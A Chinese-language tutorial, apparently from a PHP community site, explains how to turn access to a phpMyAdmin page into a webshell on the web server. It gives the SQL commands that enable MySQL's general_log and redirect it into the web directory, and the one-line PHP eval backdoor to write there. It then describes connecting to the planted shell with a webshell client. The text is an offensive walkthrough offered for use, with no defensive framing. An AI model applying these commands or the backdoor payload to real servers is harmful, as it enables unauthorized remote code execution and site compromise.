下面由phpmyadmin使用教學專欄來介紹phpmyadmin新姿勢getshell,希望對需要的朋友有幫助!
百度百科:phpMyAdmin 是一個以PHP為基礎,以Web-Base方式架構在網站主機上的MySQL的資料庫管理工具,讓管理者可用Web介面管理MySQL資料庫。藉由此Web介面可以成為一個簡易方式輸入繁雜SQL語法的較佳途徑,尤其要處理大量資料的匯入及匯出更為方便。其中一個更大的優點在於因為phpMyAdmin跟其他PHP程式一樣在網頁伺服器上執行,但您可以在任何地方使用這些程式產生的HTML頁面,也就是遠端管理MySQL資料庫,方便的建立、修改、刪除資料庫及資料表。也可藉由phpMyAdmin建立常用的php語法,方便編寫網頁時所需的sql語法正確性。
通俗的講 其作用就是可以在web頁面方便的操作資料庫。
當我們得到一個網站的phpmyadmin頁面時,下一步要做的就是getshell。
可以透過寫入shell來提權,而我們需要滿足以下條件:
1.資料庫root權限
2.知道網站的實體路徑
#3.資料庫有寫入權限
透過 select '' INTO OUTFILE '網站物理路徑' 寫入shell
#本文主要講的是在條件3不滿足的情況下成功getshell。
利用條件:MySQL 5.0
MySQL 5.0 的版本會自動建立日誌文件,那麼在服務運行的情況下修改全域變數也是可以變動檔案位置的,但是必須對產生日誌的目錄有可讀可寫的權限。
(Linux環境下可能會比較苛刻,因為網站目錄是個用戶,MySQL是另一個用戶,權限管控較為嚴格,主要取決於權限配置是否得當)
首先我們測試站點是否有寫權限
執行sql語句 SHOW VARIABLES LIKE 'secure_file_priv'
sql語句 SHOW VARIABLES LIKE 'secure_file_priv' 進行查詢尋找secure_file_priv
secure-file-priv特性
secure-file-priv參數是用來限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()傳到哪個指定目錄的。
當secure_file_priv的值為null ,表示限制mysql 不允許導入|匯出
當secure_file_priv的值為/tmp/ ,表示限制mysql 的導入|匯出只能發生在/tmp/目錄下
當secure_file_priv的值沒有特定值時,表示不對mysql 的導入|導出做限制
可以在mysql-ini檔案中設定其屬性
#經過測試,我們沒有寫入權限
然後再介紹兩個MySQL全域變數(general_log、general_log file)
我們可以透過將一句話木馬寫入mysql日誌中然後移動mysql日誌路徑到網站目錄下實現getshell
執行sql語句 SHOW VARIABLES LIKE 'general_log% ' 進行模糊查詢
日誌預設關閉
我們執行sql語句
set global general_log = "ON"; #开启日志 SET global general_log_file='网站下物理路径'; #更换日志路径
#成功創建
然后执行特殊的查询语句
select '<?php eval($_POST[aaa]);?>'
我们进入112233.php进行验证,成功写入shell
最后进行菜刀连接,获得站点webshell
以上是關於phpmyadmin新姿勢getshell的詳細內容。更多資訊請關注PHP中文網其他相關文章!